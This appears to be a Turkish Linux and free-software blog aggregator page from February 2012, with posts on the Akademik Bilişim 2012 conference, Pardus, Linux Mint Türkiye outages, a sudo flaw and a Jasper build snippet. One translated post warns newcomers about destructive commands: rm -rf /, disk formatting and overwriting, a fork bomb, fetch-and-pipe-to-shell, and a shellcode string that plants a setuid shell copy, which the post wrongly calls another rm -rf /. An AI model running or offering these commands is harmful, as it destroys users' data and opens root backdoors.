07 February 2012

Akademik Bilişim 2012'nin ardından



1-3 Şubat'ta Uşak'ta düzenlenen 14. Akademik Bilişim Konferansı geçen yıl olduğu gibi bu yıl da öncesinde düzenlenen 4 günlük eğitimlerle başladı. Bu kurslar her geçen yıl daha fazla çeşitleniyor. Bu sene yaklaşık 250 kişi, 6 farklı alanda (Linux sistem yönetimi, android, güvenlik, libreoffice, postgresql ve python), 9 farklı salonda, 15 eğitmenden toplam 32şer saat kurs aldı. Bu kursların benim açımdan en önemli farkı python kursunu 4 öğrencimin (Mesutcan KurtEngin ManapSerhat Rıfat Demircan ve Ahmet Can Kepenek), Linux sistem yönetimi kursunu ise 2 eski öğrencim, mesai arkadaşımın (Oğuz Yarımtepe ve Kaan Özdinçer) vermesi oldu. Güvenlik kursunu veren Fatih Özavcı, Postgresql anlatan Devrim Gündüz, başkanımız Hakan Uygun, eski başkanımız Doruk Fişek ve Libreoffice anlatan Özgür Yazılım aş. tayfasıyla pek keyifli günler/akşamlar geçirdik. Velhasıl gelebilenlerle çok eğlendik, gelemeyenlerin kulaklarını çınlattık ;)

Benim için bir diğer farklı durum da Uşak eski milletvekili Osman Coşkunoğlu ile tanışma, konuşma fırsatı bulmam oldu. Siyesetçi olmanın ötesinde bir yaklaşımı olduğunu gördüm ve kendisiyle tanışmaktan mutluluk duydum.

Konferans bu yıl gerçekten zorlu hava koşullarında gerçekleştirildi. Buz gibi günler ve daha soğuk akşamlarda Uşak'ta bir bilişim fırtınası estirdi Akademik Bilişim Konferansı. Mustafa hoca her yıl bu hedefe daha fazla yaklaşmak için daha geniş kitlelere ulaşmayı deniyor. Bu yıl Uşak'lı muhtarlar ve meslek odaları temsilcileri de konferansa dahil oldular. Seneye şehrin daha geniş bir katılımını sağlamak için planlar da yaptık.

Konferans 3 gün boyunca 1000'e yakın katılımcıyı ve 30 sponsor firmayı ağırladı. Bazı günler Ankara ve İzmir yollarının kardan kapandığını göz önüne alınca bu sayı oldukça iyi sayılır diye düşünüyorum. Bilişimin her alanında bildiriler sunuldu, seminerler verildi, panellerde konuşuldu. Başta Kemal Karaman ve Şahser Güven olmak üzere yerel organizasyondaki arkadaşlar her şeye yetiştiler. Kemal ve Şahser hocalarla ilerideki ab'lerde de göreşeceğimizi tahmin ediyorum.

Konferansta hakkında en fazla konuşulan konu f@tih projesiydi. Bir belirsizlikler projesi olduğundan bu kadar fazla konuşuldu belki de. Bu konuyla ilgili ayrıca yazmak istiyorum.



Çok yaşa Mustafa Akgül, çok yaşa Ethem Derman, çok yaşa Ufuk Çağlayan diyor, bu duygu ve düşüncelerle gelecek yıl yeni bir akademik bilişim konferansında buluşmak üzere huzurlarınızdan ayrılıyorum.


Tehlikeli Linux Komutları


Geçenlerde Zeki Bildirici'nin Google+'da paylaştığı orjinalini bu adreste bulabileceğiniz Mitesh Shah tarafından yazılmış bir girdiye rastladım. Hoşuma gitti ve sosyal medya akışında kaybolmaması için bloguma aktarmak istedim. Aktarırken de bir katkım olsun diye tercüme edesim geldi. Fazla gevezelik etmeden sizi yazıyla baş başa bırakayım. 

Eğer Linux'ta yeniyseniz, İnternette forumlarda veya IRC 'de dosyalarınıza veya işletim sistemine zarar
verecek komutları çalıştırmanız için sizi kandıracak bazı geri zekalı insanlara denk gelme şansınız vardır. Bu tehlikeli senaryodan kaçınmak için uzak durmanız gereken bazı tehlikeli Linux komutlarını vereceğim.

1. Komut 

rm -rf /

Bu komut herhangi bir uyarı mesajı vermeden kök dizinin içindeki bütün dosyaları silecektir.


rm normalde konsol üzerinde dosya silmek için kullandığımız bir komuttur. Ve normalde silmek istiyor musunuz şeklinde bir uyarı verir ama -f (force) parametresi bu uyarıyı ezer ve doğrudan silme işlemini uygular. -r (recursively) parametresi de bütün alt klasörleriyle birlikte sil anlamına gelir. 

2. Komut

char esp[] _attribute_ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
gelir.  Bu komut rm -rf / yazmanın başka bir yoludur. Hex formatında olduğu için tecrübeli Linux kullanıcılarını bile yanıltabilir.

3. Komut

mkfs.ext3 /dev/sda
Bu komut sabit diski biçimlendirir yani bütün dosyalarınızı kaybedersiniz. mkfs.ext3 verilen disk veya disk bölümünü ext3 formatında biçimlendir anlamına gelir. /dev/sda ise ana/birincil sabit disk anlamına gelir. Örneğin /dev/sda2 ana sabit diskin sadece bir bölümünü tarif eder.

4. Komut

:(){:|:&};:

Linux camiasında fork bomb olarak da adlandırılan bir kabuk betiğidir. Sonsuz adet process başlatarak işletim sistemini kilitlemeyi amaçlar ve genelde veri kaybı ile sonuçlanır.

5. Komut
herhangi_bir_komut > /dev/sda

Bu komut ham verinin bir cihaza yazılmasına sebep olur. Genellikle dosya sisteminin üzerine yazacağı için veri kaybıyla sonuçlanır.

6. Komut

wget http://some_untrusted_source O | sh


Güvenilmeyen kaynaklardan indirme yapmayın ve bu kaynaklardan gelen kodları çalıştırmayın. Bu kodu size veren kişi kendi zararlı kodunu çalıştırmanızı istiyor olabilir.

7. Komut

mv ~/* /dev/null
mv /home/evdizininiz/* /dev/null


Bu komut dosyalarınızı /dev/null adındaki farazi bir konuma taşır yani dosyalarınızı tamamen kaybedersiniz.
8.Komut

dd if=/dev/urandom of=/dev/sda


Bu komut diskinize veya disk bölümünüze rastgele bilgiler yazar. dd komutu günlük hayatta bir taşınabilir belleğe bir disk kalıbı (işletim sistemi kalıbı vs.) yazmak vs. işlerde kullanabilir.

9. Komut

chmod -R 777 /

Bu komut herhangi bir veriye erişim haklarını değiştirerek. Bilgisayar üzerindeki herkese okuma-yazma ve çalıştırma haklarını verir. 

10. Komut

chmod 000 -R /
chown nobody:nobody -R /

Bu komut herhangi bir veriye erişim haklarını değiştirerek onu root haricindeki herkes için erişilmez kılar.



Özgür Tablet : Spark


Teknolojik cihazlar ve oyuncaklar nasılda bir anda hayatımıza giriverdi değil mi? Bundan 10 sene önce masaüstü sistemlerin savaşı sürerken dizüstü bilgisayarların patlaması ve devamında netbook’lar ve teknolojinin baş döndürücü ivmesiyle cebimize giren akıllı telefonlar (sistemler mi desem?) tabletler, e-okuyucular, navigasyon cihazları ve irili ufaklı binlerce farklı cihaz… Hızla silinen teknolojilerin yerine daha güçlü daha ufak...»

06 February 2012

Pardus'un Geleceği Çalıştayı


Hepimiz Pardus'un yarını hakkında bir çalıştay yapılacağını bir şekilde duyduk. Bu çalıştaya bütün Pardus kullanıcılarının çağırılmayacağı çok açık. Tahmin ediyorum eski/yeni geliştiricilerin de önemli bir kısmı bu çalıştayda bulunmayacak. Emin olmamakla birlikte ben bu toplantıya çağrılacağım yönünde şeyler duydum.

Bu toplantıda dile getirilmesini istediğiniz görüşleriniz varsa buraya yazarsanız toplantıda dile getirmeye çalışacağımı henüz vakit varken yazmamın iyi olacağını düşünüyorum. Hakarete varmayan her görüşü imkanlar ölçüsünde toplantıya taşıyacağım.

İşin doğrusu toplantıdan ümitli değilim ama son bir sözümüz varsa onu söyleyip öyle ayrılalım diyorum.

Özgür Yazılıma Kurumsal Destek Alabilirsiniz


Gerek hocalarım gerekse programlama alanında uzman bazı arkadaşlarım, çalıştıkları kurumlarda Linux kullanmama sebebi olarak Türkçe kaynak eksikliğini ve kurumsal destek alamadıkları yönündeki şikayetlerini birçok ortamda dile getiriyorlar.

2000 öncesi için bu görüş belki doğru olabilir ancak günümüze döndüğümüzde işin boyutu değişiyor. Artık hem eğitim hem teknik destek alanında ücretli ve ücretsiz destek veren bir çok oluşum var.

Linux Kullanıcıları Derneği bana göre çok doğru bir iş yaparak kurumsal destek veren firmaları listeliyorlar. Ayrıca bu firmalara kendilerini tanıtmak için imkan yaratıp, her ay düzenli olarak bir kurum bülteni de yayınlıyorlar. Linux ve özgür yazılım alanında kurumsal destek alabileceğiniz firmaların tam listesine buradan ulaşabilirsiniz.

Kişisel destek içinde yeterince proje üretilmiş durumda. Linux Mint Türkiye, Debian Türkiye, Mandriva Türkiye, Ubuntu Türkiye ve Fedora Türkiye, Türkçe destek alabileceğiniz başlıca yerli kaynaklar olarak sıralanıyor.

Saydıklarımdan çok daha fazlası da var. Eğer azda olsa Linux'a geçme niyetiniz varsa şimdi başlamak için en doğru zaman!

05 February 2012

II. Ulusal IPv6 Konferansı


Geçen yıl ilki düzenlenen Ulusal IPv6 Konferansının ikincisi bu yıl 15 Şubat'ta Ankara'da düzenlenecek. Konferans programına buradan ulaşabilirsiniz. Herkese açık ve ücretsiz olan etkinlik için kayıt yaptırmak yeterli. Biz de fi6en ile orada olacağız, bekleriz.

Pardus İçin Susma!


Pardus İçin Susma

Pardus İçin Susma!

http://lists.pardus.org.tr/pardus-camia/2012-February/000743.html

———

Görselin tam boyutu için üzerine veya buraya tıklayın.

Görselin XCF kaynak dosyası: http://dl.dropbox.com/u/38862200/pardus-susma-TASLAK-2.xcf – Dileyen alıp değiştirip kullansın diye…

İlgili Diğer Başlıklar:

  1. Masaüstünüz için iki Duvar Kağıdı
  2. Pardus, TÜBİTAK ve Gelecek…
  3. Kısa Notlar 2…



Kamailio 3.1.x (OpenSER) ile SIP Load Balancing


Servis Sağlayıcı iseniz, bir VoIP veya NGN ortamında sahipseniz ve her geçen gün hizmet verdiğiniz sistem üzerinden geçen trafik artıyorsa buna rağmen hala tek bir SIP Proxy, SBC (Session Border Controller), SIP Registrar veya Softswitche sahipseniz artık birşeyler yapmanızın vakti gelmiş demektir. Aksi takdirde sistem yükünüz sature olduğunda müşteri isteklerine cevap veremeyebilir hatta [...] Related posts:
  1. CPU Load Average
  2. 9 Adımda Ubuntu 9.04 Server’a Opensips 1.5.3 Kurulumu
  3. Opensips Web Kontrol Paneli Kurulumu


04 February 2012

Resmi Duyuru: Linux Mint Türkiye Erişim Sorunu


Web alanımızı sağlayan hosting sponsorumuzun bize sağladığı alanda yer alan disklerde, aşırı kullanımdan ötürü arıza yaşanmıştır. Bu arıza sonucunda yaklaşık 1 haftadır Linux Mint Türkiye’ye erişim sağlanamamaktadır.

Veritabanı ve site yedeklerinde bir sıkıntı bulunmamaktadır. Bu nedenle yedek sunucumuz ve yedek alan adımızla birlikte ana sayfanın yayınına www.linuxmint.net.tc adresinden devam ediyoruz. Arıza giderildikten sonra www.linuxmint.org.tr adresinden site altında yer alan tüm bölümlere sorunsuz bir şekilde erişebileceksiniz. Arızanın giderilebilmesi için hem biz hemde sponsor firmamız çalışmalarını devam ettirmektedir.

Bu süreçte Linux Mint Türkiye’ye sponsor olmak isteyen, destek olan, yardım teklif eden herkese ve Linux Mint Türkiye topluluğuna teşekkür ediyoruz.

03 February 2012

Yeni Kamusal Mal:Özgür ve AKK Yazılım/E-Kitap


Daha önce şurada duyurusunu yaptığım M.Oğuz Arslan tarafından yazılan ve Nisan Kitabevi’nden çıkan “Yeni Kamusal Mal: Özgür ve Açık Kaynak Kodlu Yazılım” adlı kitabın elektronik hali yayınlandı.”CC Attribution-Sharealike 2.0” ile lisanslanan bu kitabı dilediğiniz okuyabilir ya da paylaşabilirsiniz.

E-Kitabı şuradan ya da buradan indirebilirsiniz.



Sudo Güvenlik Açığı (1.8.0 – 1.8.3p1)


Linux sistemlerde sıklıkla kullandığımız sudo uygulamasının 1.8.0 sürümü ile 1.8.3p1 sürümleri arasındaki tüm sürümlerde güvenlik açığı bulunuyor. 1.8.3 p3 ile bu açık giderilmiş. Gördüğüm kadarı ile OpenSuse ve Centos hala güncelleme çıkartmamış. Debian daha eski bir paket kullandığı için etkilenmiyor.

Detaylar için http://www.sudo.ws/pipermail/sudo-announce/2012-January/000103.html

 



Gates’in adamı Ban Ki-Mun’a Filistin’de taş ve ayakkabı


26 Ocak’ta Davos’ta William Gates’in “hayır işlerinde” figüranlık yapan Birleşmiş Milletler Genel Sekreteri Ban Ki-Mun’a, bir hafta sonra Gazze Şeridi’nde Filistinlilerden taşlı-ayakkabılı protesto.

Amerikancadan tercüme, “büyük resim” mi deniyor ne; bazen ona bakmak çok faydalı.

“Daha da gelmem”le birlikte düşünün, Fatih Projesi’yle birlikte düşünün… Resim büyük ya, anımsattığı çok oluyor haliyle.

Filistin protesto



Linux Mint Türkiye Erişim Sorunu Hakkında


Sponsor firmamızın bize sağladığı alanda yer alan disklerin aşırı yüklenmesinden dolayı arızalanması sonucunda Linux Mint Türkiye sitesine erişim durmuştur.

Veritabanı ve site yedekleri elimizde bulunuyor, bu açıdan bir sorun yok. Sponsorumuz makineleri eski haline getirmek için uğraşıyor. Muhtemelen birkaç gün içinde yayına kaldığımız yerden devam edeceğiz.

Bu süreçte Linux Mint Türkiye'ye sponsor olmak isteyen, destek olan, yardım teklif eden herkese ve Linux Mint Türkiye topluluğuna teşekkür ediyoruz.

Linux Mint Türkiye adına;
Proje sorumlusu Eren KOVANCI

02 February 2012

Yokluğumda


Yokluğumda, bir haber sitesini bitirdim ve yayına başladı…

İşimden ayrıldım ve birkaç arkadaş olarak Epifani Media diye bir ortaklık kurduk…

Projelerimizi tek merkezde topladıktan sonra Linux Haber yeniden ve yeni sitesiyle, gerçek bir haber sitesi olarak yayında olacaktır.



Academia, akademia, akademik


‘Platon’un Akademisi’nde en önemli şey konuşma idi. Platon’un yazı tarzının diyalog olması da bu yüzdendir.’ (Sofi’nin Dünyası). Bugün üniversitelerde eksikliği hissedilen birşey de insanların birbirleriyle paylaşımda bulunmaması. Özellikle öğrenciler diğer üniversitelerde yapılan çalışmalardan çok fazla haberdar olamıyorlar. Bilgi ve deneyimlerin paylaşılacağı, yeni fikirlerin üretileceği, insanların birbirlerini tanıyacakları ortak etkinlikler maalesef çok az. Akademik Bilişim de bahsettiğim çerçevede yapılan bir bilimsel etkinlik. Bilişim camiasındaki diğer insanlarla tanışıyor, onların yaptığı çalışmalarla ilgili fikirler ediniyorsunuz.

Akademik Bilişim Konferansı’na ilk kez bu yıl katıldım. Ankara’dan Uşak’a gitmek hava koşulları nedeniyle epey zor olduysa da hiçbir yerde edinemeyeceğim bir tecrübe edindim. Afyon kara yolunun kapanması nedeniyle Cumartesi başlaması gereken LibreOffice kursuna Pazar günü başlayabildik. Cumartesi günü 15:00 da kursların yapıldığı yerdeydik. 1-2 kişi büyük bir sabırla sabah 9′dan 15:00 a kadar beklemişler bizi. Kısa bir giriş yaptıktan sonra eğitime bir sonraki gün devam etmek için sözleştik. 4. güne kadar kursiyer sayısı 1-2 kişiden 12 kişiye ulaştı. 4 gün boyunca, LibreOffice kullanarak günlük ofis ihtiyaçlarının nasıl karşılanacağına dair bilgiler verildi. Dilekçe yazmaktan rapor oluşturmaya, hesap tablosu ile verileri filtreleme ve üzerinde işlemler yapmaya kadar ihtiyaç duyabilecekleri herşey anlatıldı. 4. günün sonundaysa böyle bir etkinlikte bir arada bulunmuş olmanın mutluluğu ile vedalaştık.

Kursların bittiği günün ertesi günü ise konferans başladı. Daha önce iki defa Türkiye Bilişim Derneği’nin düzenlediği Bilişim Kurultayı’na katılmıştım. Akademik Bilişim’e kadar katıldığım en büyük organizasyondu. Akademik Bilişim Konferansının yapıldığı fakülteye girdiğimde bu kadar büyük bir organizasyonla karşılaşacağımı tahmin etmemiştim. 3 katlı fakülte binasının 3 katı da standlarla ve katılımcılarla doluydu. Keza konferans salonları da öyleydi.
Konferansın ilk günü “Özgür Uzaktan Eğitim Sistemleri” adlı bir bildiri ve “LibreOffice Ofis Yazılımı” hakkında bir seminer verdim. Bildiriye katılım epey yoğundu. Ancak seminer için aynı şeyi söyleyemeyeceğim. LibreOffice seminerine katılanlardan biri de lise öğrencisiydi. Bir lise öğrencisini böyle bir etkinlikte görmekten ötürü gurur duydum. Düşünüyorum da ben lisedeyken hiç böyle bir etkinliğe katılmamıştım. İş dolayısıyla konferansın birinci gününün akşamı Uşak’a veda etmek zorunda kaldım.

Bu süre boyunca üniversitenin sosyal tesisinde konakladık. Resepsiyon görevlisi Erdoğan Bey’e buradan ayrıca teşekkür ediyorum. Gerek otobüs servisi konusunda gerekse tesis içindeki ihtiyaçlarımız konusunda epey yardımcı oldu. Organizasyon ile ilgili hiçbir sıkıntı yaşamadık. Emeği geçen herkese tekrar teşekkürler. Bir dahaki Akademik Bilişim Konferansı’nda buluşmak dileğiyle…



Uşakta Bilişim Fırtınası: Akademik Bilişim 2012


İnsanlık İnternetin tetiklediği yeni bir toplum biçimine, Bilgi Toplumuna, geçişin sancılarını ve çalkantılarını yaşamakta. Sektörler yeniden yapılanmakta, meslekler yeniden şekillenmekte, ekonomiler ve toplumsal yapı yeniden düzenlenmektedir. Sosyal ağlar milyonları örgütlemekte, rejimleri sarsmakta, yer yer devirmeye vesile olmaktadır. Sosyal ağlar halkla ilişkiler, tanıtım, pazarlama, iletişim ve örgütlemeyi yeniden tanımlamaktadır. İnternetin temsil ettiği değişim, bağımsız ve yaratıcı bireyleri öne çıkartmakta, hiyerarşik olmayan ve ağ yapılarını içeren toplumsal modelleri öne çıkartmakta; katılımı ve saydamlığı, demokrasiyi, gelişmenin önemli bir parçası ve etmeni olarak öne çıkartmaktadır.

İnternetle somutlaşan bilgi ve iletişim alanındaki gelişmeler, üniversitelerin konumunu; teknoloji politikalarını, ar-ge, inovasyon, ömür boyu eğitim gibi kavramları yeniden tanımlamaya zorlamaktadır. Bu değişim, kanımızca, Sanayi Devrimi, boyutlarında köklü bir değişimdir, ve hayatın her boyutunu köklü olarak değiştirmeye başlamıştır. Bu değişim ülkemizi de bilim ve bilgi ağırlıklı bir rotaya girmeye, bir başka deyişle, Bilgi Toplumuna yönelmeye zorluyor. İnternet, Bilgi Toplumunun taşıyıcısı, ön modeli, katalizörü konumunda. Bu değişimler köklü değişimlerdir. Nasıl sanayi devrimi sancılı olduysa, Bilgi Toplumuna dönüşüm de uzun ve sancılı olacaktır.

Bu konferans dizisinde İnternetin tetiklediği bu değişime ve bu meydan okumaya Türk Üniversitelerinin cevabının aranmakta ve oluşturulmaya çalışılmaktadır. Bu konferans dizisi, üniversitelerde bilgi teknolojileri konusunda ilgili grupları bir araya getirerek, bilgi teknolojileri altyapısı, kullanımı, eğitimi ve üretimini tüm boyutlarıyla tanıtmak, tartışmak, tecrübeleri paylaşmak, ve ortak politika oluşturmak amaçlarıyla ulusal boyutta 1999′dan beri yapılmaktadır. Bu Konferanslar bilişime bulaşmış; üreten, kullanan, yöneten tüm üniversite topluluklarına ev sahipliği yapmaya çalışıyor. Bilgisayar, Bilişim, Enformatik bağlantılı bölümlerin yanında, kütüphaneciler, medikal bilişimciler, tarımsal bilişimciler, mekansal bilişimciler, bilişim hukukçuları, inşaat bilişimcileri, eğitim bilişimcileri de konferansın doğal katılımcılarıdır. İnternet ve Bilişim yaşamın her boyutunu etkilediği için, kamu yönetimi, siyaset, iletişim, pazarlama, sosyoloji, psikoloji, ekonomi gibi sosyal bilimcilerin de bu konferansın doğal katılımcıları olduğunu düşünüyor ve onları da aramıza katılmaya davet ediyoruz.

Akademik Bilişim Konferansı, yapıldığı şehri bir Bilişim Fırtınası ile sarsmaya çalışmaktadır. Lise öğrencilerine ve öğretmenlerine yönelik İnternet ve açık kaynak etrafında bir sohbet toplantısı, kamu çalışanlarına yönelik bir e-devlet paneli, yurttaşlara yönelik internetin güvenli kullanımı, KOBİ’lere yönelik e-ticaret etkinlikleri yapmaya çalıştıklarımız arasında. Yerel TV ve radyolar kanalıyla şehri bir bilişim ve internet fırtınasıyla sarsmak fırsat bulduğumuzda gerçekleştirdiğimiz bir eylemdir. Gönlümüzde, konferansın yapıldığı şehir ve bölgeyi kapsayan bir Bilişim Fuarı yapmak da var. Bu bağlamda konferans 2. Günü Uşaklılar konferansın bir parçası olacaktır. Uşaklı muhtarlar, e-devlet uygulamalarını tartışacaktır. Uşak Sivil Toplum Kuruluşları da e-Uşak oturumunda İnternet ve Bilişimin gelişmesi için Uşakta ne yapılmasını ve İnternet ve Bilişimin Uşak için nasıl kullanılmasını tartışılacaktır Konferansın parçası olarak 30 firmanın katıldığı bir Bilişim Fuarı da var.

Türkiye Bilgi Toplumu Yarışında Nerede ?

Ülkemiz bir bütün olarak, işin boyutlarını kavramış, katılımcı mekanizmalarını kurmuş, strateji ve eylem planını yapmış, emin adımlarla ilerleyen bir görüntü veremiyor. Kaba cizgilerle dünya ortalamasını yakalamış, ama AB ve OECD’de genel olarak en geride, 100 ülke arasında genelde 50-60 arasında, 190 ülke arasında 70-130 gibi konumlarda oynuyor. Halkımızın %45′i internet kullanıyor; ama %55 hiç internet kullanmamış. Kadın-erkek, şehir-kırsal farkı önemli. 2006-2010′u kapsayan, ama coğumuzun farkında olmadığı bir strateji ve eylem planımız vardı; büyük ölçüde eylemler bitmedi. 2012 deyiz ama hala yenisi ufukta yok. Ülkemiz internete ilişkin ana sorunlardan çok marjinal problemlere odaklanmaya meraklı. İnternet gündemimizi yasaklar ve filtreler oluşturuyor. Siyasal sahiplenme, örgütlenme, yönetişim, insan gücü, rekabet konularında ciddi sorunlar var. İnterneti sahiplenen görünen çok birim var; ama bunun için gerekli kadrolar ve siyasal sahiplenme yok. Pek çok indekste ya yerimizde sayıyoruz yada geri gidiyoruz. Kısaca, Türkiye gemisinin rotasını Bilgi Toplumuna henüz döndüremedik!

Ülkemizin gündeminde olan Fatih Projesi hakkında bir kaç noktaya değinmek istiyorum. Fatih çok kapsamlı, çok pahalı doğal olarak çok riskli bir projedir. Okullarda hızlı internet, etkileşimli tahta gibi araçların sağlanması, hatta öğrencilere uygun cihazların verilmesi dünyanın epeydir gündemindedir. 100 $lik proje daha sonra her çocuğa bir dizüstü bilgisayar adını almıştır. Deneyler, çocuğun eve götürdüğü, eğitim içeriği ve internet erişimi olan bilgisayar, coçugun ve ailenin ufkunu değiştirmiştir, dünyaya bağını artırmış ve motivasyonun yükseltmiştir. Bu nedenle bu projeler başlamıştır. Türkiye bu projelerle hiç ilgilenmemiştir. Simdi birden bire, her çocuğa bir tablet verme projesi yeterli hazırlık yapılmadan, seçim meydanında bir atışma sonrasında gündeme gelmiştir. Proje bilimsel olarak iyi incelendikten, kapsamlı pilot projeler sonrasında, yavaş ve dikkatli bir şekilde hayata geçirilmelidir. Donanım, maliyeti dışında en kolay kısmıdır projenin. Öğretmenin kazanılması, değişimin yönetilmesi, içeriğin özgürlükçü bir felsefeyle katılımcı bir şekilde üretilmesi kritik unsurlar arasındadır. Saydamlık, katılımcılık, bilim dünyası ve kamuoyu ile diyalog başarı için çok önemlidir.

Türkiye İnternetle Savaşmaya Devam Ediyor !

Ülkemizinde Bilgi Toplumu çalışmalarında ki dağınıklığın, kafa karışıklığının, Mehter hızının somut bir göstergesi youtube.com da en çarpıcı örneğini bulan İnternet Yasakları’dır. Ülkemiz kendi başına Uluslar arası hukuku tesis etmeye çalışıyor; internete kurallar getirmeye çalışıyor. Youtube yasağına bir hülle ile bir gecekondu çözümü bulundu; ama ilgili kurumsal yapı ve uygulamalar devam ediyor. Hiçbir gelişmiş ülkede olmayan bir filtre uygulaması, interneti hiç anlamayan, saydamlık, katılımcılık, yönetişim kavramlarıyla adeta alay eder bir şekilde hayat geçirildi. BTK kamuoyunu yanıltmakta, yetkisini aşmakta hiçbir sınır tanımıyor.

Önerimiz, ifade özgürlüğünü ve bireyi esas alan çözümlerdir. Olması gereken, dijital okuryazar yurttaşın bilinçli seçimidir, devletin tek tip filtreyi dayatması değil. Sivil Toplum, kamu, üniversiteler portaller, beyaz ve kara listeler önerebilir; devlet ücretsiz alternatif yazılımlar dağıtabilir. Ama, bir hukuk devletinde, bir demokraside kararı yurttaş verir. Bir bürokratik kadro yargısız infaz yapamaz.

Wikileaks ve Arap Baharı ve benzerleri kitlesel hareketler insanları İnterneti ciddiye almaya zorlayacaktır. Umarım bu İnternetden korkmayı, ve onun sınırlama çabalarına vesile olmaz. İnsanlar daha açık bir toplum istiyorlar; saydamlık, hesap verilebilirlik, yönetime katılmak ve refahtan pay almak istiyorlar. Bunu kamu yönetiminden istedikleri kadar, tüm kurumlardan istiyorlar. Wikileaks’e dünya yurttaşlarının gerçekleri öğrenme, saydamlık talebi penceresinden bakmak gerekir.

İnternet Tehdit Altında
Her devrimsel gelişmede birileri kaybeder, birileri kazanır. Kaybetme korkusunda olanlar değişime direnir. Ansiklepodiler kaybetti, dergiler yavaşta olsa kaybediyor. Sayısal ürünlerde marjinal maliyet ve dağıtım maliyetinin pratik olarak sıfır olması, Fikri Haklarda ciddi bir sorunu yarattı. Film, Muzik ve İlaç endüstrisinin başı çekmesiyle, İnternet’de de Fikri Haklar nedeniyle ciddi bir saldırı var. PIPA, SOPA tasarılarının ardından ACTA ile, hukukun evrensel ilkelerini çiğneyen uygulamalara kapıyı açan bir bakış açısı öne çıkıyor: “korsan” bahanesiyle, yargısız infaz ile orantısız cezalandırma. İnsanlık, yaratıcılığı teşvik etmek zorunda, ama bu değişen teknolojiler ışığında geniş kitlelerin hayati çıkarlarını gözönüne alarak makul bir düzeyde olmalı.

İnternetden Korkmayın!

İnternet yaşamın her boyutunu değiştiriyor; bir devrimsel değişimin temsilcisi. Teknolojiler ise kaygan. Bu değişimi zapturapt altına almak hem zor, hem de tehlikeli; önemli gelişmeleri engellemek söz konusu. Bu nedenle, düzenlemelerin, asgari, platformdan bağımsız, yavaş ve çok dikkatli yapılması gerekir. İnternet, sosyal ağlarla, yeni medyayla, kitlesel projelerle, pek çok insanı tedirgin ediyor. Biz diyoruz ki, İnternetden Korkmayın! Onu öğrenin! Olanaklarını ve olası risklerini öğrenin. İnterneti kendinizi geliştirmek, işinizi geliştirmek, daha iyi yapmak, daha iyi dünya vatandaşı olmak için kullanın. Nasıl elektriği, telefonu kullanıyorsanız, interneti de aynı ölçüde doğal, yaşamın bir parçası olarak kabul edin. Kendinizi özgürleştirmek, yenilemek için kullanın. Demokrasiyi geliştirmek, bir yurttaş olarak katkınızı göstermek için kullanın, toplumsal katılım ve denetim için kullanın.

Bu konferans dizisinde eğitim seminerleri önemli bir rol oynamıştır. Bilişimci yetiştirmenin, yeni gelişmeleri aktarmanın, insanların ellerini kirletmekten geçtiğini bildiğimiz için ortalama 2 salonu eğitim seminerlerine ayırıyoruz. Eğitim seminerleri arasında Linux, açık kaynak ve Özgür Yazılım önemli bir yer tutmaktadır. Bizler, bunların ülkede bilişimin gelişmesi, rekabet gücü, istihdam, tasarruf, güvenlik açılarından önemli olduğunu düşünüyoruz. Bu konferans öncesinde 4 günlük yoğun 6 konu ve 9 salonda eğitim yaptık. 250 kişinin katıldığı eğitimler Android; Güvenlik, Linux, Python, PostgreSQL ve Libreofis/openoffice konulsrında idi.

Özgür Yazılıma Eşit Şans Tanıyın !

Açık kaynak ve özgür yazılım konusunda Üniversitelere önemli görevler düşmektedir. En başta temel bilişim eğitimin markadan bağımsız, kavram temelli eğitim olması gerekir. Bu eğitim öğrenciyi tüm seçeneklerle çalışabilir konumuna getirmesi gerekir. Her üniversite öğrencisinin Linux ve özellikle ulusal işletim sistemi Pardus’la tanışmış olması gerekir. Üniversitenin kendisinin markalara bağımlı olmadan, tüm seçenekleri fayda, maliyet, taşınabilirlik, bakım gibi kriterler açısından değerlendirerek seçim yapmasını gerekir diye düşünüyoruz. Üniversitelerin açık kaynak’in yanında, Açık Erişim ve Açık Ders Malzemesi projelerini daha yakından takip etmesi ve desteklemesi gerekir.

Konferansta 3 gün 7 paralel salonda 160 bildiri, 8 eğitim semineri, 16 LKD semineri, 9 Panel/Forum ve 24 Teknoloji sunumu gerçekleşecektir. Açılış Konferansını, Kadir Has Üniversitesi, Yeni Medya bölümü Kurucu başkanı İsmail Hakkı Polat yapacaktır. Oturumlar arasında, e-öğrenme, güvenlik, yazılım, yeni medya, inşaat ve medikal bilişim, Tıp, Tarım, Çevre , e-ticaret, Mobil, üniversite ve Açık Dünya oturumları göze çarpmaktadır.

Biz, düzenleyiciler olarak, bu konferansı bildiri sunma ve yayınlamanın çok ötesinde bir bilgi ve deneyim paylaşımı, fikir kıvılcımlarının aktarıldığı, ortak sorunların tartışıldığı, ve çözüm arandığı bir ortam olmasını hedefliyoruz. Esas olan diğer bildirileri dinleme, tartışmaya katılmadadır; bildiri sunma buna vesile olduğu için önemlidir. Bir konferans aynı zamanda sosyal bir birlikteliktir; yeni dostlukların, ortaklıkların, projelerin ortaya çıktığı ortamlardır. Tüm katılımcıların 3 gün boyunca konferansta kalmasını, tartışmalara katılmasını, istiyoruz.

Biz, İnterneti çok önemsiyoruz. Bu konferansları da ülkemizde üniversiteler ve internetin gelişmesine katkı verecek bir platform, ortak akıl için bir ortam olarak tutmaya çalışıyoruz, çalışacağız, bu davet bizim!

Katkı veren herkese tekrar teşekkür eder, başarılar dilerim.



01 February 2012

Jasper Raporlarını Ant ile Nasıl Derlerim?


Bir dizinde bulunan .jrxml uzantılı raporlarımızı ant ile derlemek için build.xml dosyasına aşşağıdaki betik yazılabilir.

<taskdef name=”jrc” classname=”net.sf.jasperreports.ant.JRAntCompileTask”>
<classpath refid=”build.classpath”/>
</taskdef>

<target name=”buildjasper”>
<mkdir dir=”./build/reports”/>
<jrc
srcdir=”${basedir}/jasper”
destdir=”${dist.dir}/reports”
tempdir=”${dist.dir}/temp”
keepjava=”true”
xmlvalidation=”true”>
<classpath refid=”build.classpath”/>
